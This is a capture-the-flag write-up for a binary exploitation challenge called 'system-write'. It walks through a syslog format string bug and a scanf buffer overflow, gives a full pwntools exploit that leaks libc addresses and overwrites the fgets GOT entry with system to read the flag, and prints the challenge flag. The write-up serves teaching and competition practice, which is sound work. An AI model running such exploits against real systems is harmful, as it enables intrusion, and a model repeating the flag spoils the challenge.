system-write

by sunbather / .hidden

Tags: pwn

Rating:

Challenge Description

Wait what? We can write data, but where?

Flag format: CTF{sha256}

Intuition

Checksec the binary to see what we have.

```
$ checksec syslog-write
LIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY
Fortified   Fortifiable FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   49 Symbols     N
o     0       4       syslog-write
```

We have PIE disabled and Partial RELRO. Partial RELRO might mean that we will overwrite GOT entries.

We decompile the binary and find numerous vulnerabilities. First a buffer overflow is present in the `main` function, when we read the "log level":

```
    printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): ");
    __isoc99_scanf(" %[^\n]",local_222);
```

Sadly, we can't do much with it initially, as the function does not return. Every exit point is covered by `exit()`.

Another vulnerability that is evident is the fact that our input gets passed directly to `syslog`. What is great about this is that `syslog` uses a format string as its second argument. So we have a format string vulnerability.

```
    printf("Enter the message to write to syslog: ");
    fgets(local_218,0x200,stdin);
    fgets(local_218,0x200,stdin);
    syslog((int)local_222,local_218);
    closelog();
```

Solution

So first we obviously have to leak some data. We leak a whole lot of addresses from the stack by passing a bunch of `"%x"` to `syslog`. We manually identify the return for the `main` function. We can make our lives easier by passing a bunch of "a" characters to the vulnerable buffer, to create a pattern of "a" characters leading up to the return address.

After leaking and checking in the debugger, we find out the return address for main leads to `__libc_init_first`. We find the libc version using the libc database and we save some offsets to `system` from there. In the exploit we next calculate the address for `system` and use a classic arbitrary write primitive from the format string vulnerability. We overwrite the address of `fgets`, found in GOT, two bytes at a time (to avoid long printing times). Now, our next input to fgets will get interpreted as a shell command. But how can we control it now that `fgets` is compromised? Easy, we can reuse the buffer overflow from the earlier `scanf` to overwrite it with a command. The exploit is below:

```python
#!/usr/bin/env python3

from pwn import *

is_remote = False
target = process("./syslog-write")
#target = remote("34.159.3.30", 31549)

fgets_gotplt_addr = 0x00404048
fgets_gotplt_addr_next = 0x0040404a

if is_remote:
    system_offset = 0x27060 # from init_first
else:
    system_offset = 159856 # from init_first


# Leak a bunch of addresses
target.sendline(b"1")
target.sendline(b"a" * 0x222)
target.sendline(b"%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x")

if is_remote:
    target.sendline(b"2")
    print(target.recvuntil(b"syslog-write"))
    leak = list(reversed(target.recvline().split()))

    print(leak)
    # Find the return address using the "AAAA" pattern
    for i in range(len(leak)):
        if leak[i] == b"61616161":
            libc_init_first_leak = leak[i-1]
            print(libc_init_first_leak)
            libc_init_first_leak = int(libc_init_first_leak, 16)
            break

else:
    # get the addresses manually on local
    # I had some issues with reading the syslog
    libc_init_first_leak = input()

    print(libc_init_first_leak)
    libc_init_first_leak = int(libc_init_first_leak, 16)
    print(hex(libc_init_first_leak))

# Find system address
system_addr = p64(libc_init_first_leak + system_offset)
print(f"System addr: {hex(libc_init_first_leak + system_offset)}")

# Prepare the bytes to be written
x = int.from_bytes(system_addr[:2], byteorder='little')
y = int.from_bytes(system_addr[2:4], byteorder='little')

print(system_addr)
```

```
# You have to make sure the stack is correctly aligned
# and that the parameter access (%11$hn and %12$hn) leads to the correct addresses
# Use a debugger!
payload = "%{}c%11$hn%{}c%12$hnbbbbbbb".format(x, y-x).encode()
print(payload)

# Overwrite fgets with system
target.sendline(b"1")
target.sendline(p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next)) # honestly don't remember if this really matters
target.sendline(payload + p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next))

# run /bin/cat flag.txt
target.sendline(b"1")
target.sendline(b"A" * 10 + b"/bin/cat flag.txt") # overflow and win

target.interactive()
```

Flag

`CTF{61534936dc22499d88206f04c36ccda47290ad4656345033c6c88f06a86a2b92}`

Original writeup (https://dothidden.xyz/defcamp_quals_2023/system-write/).

Comments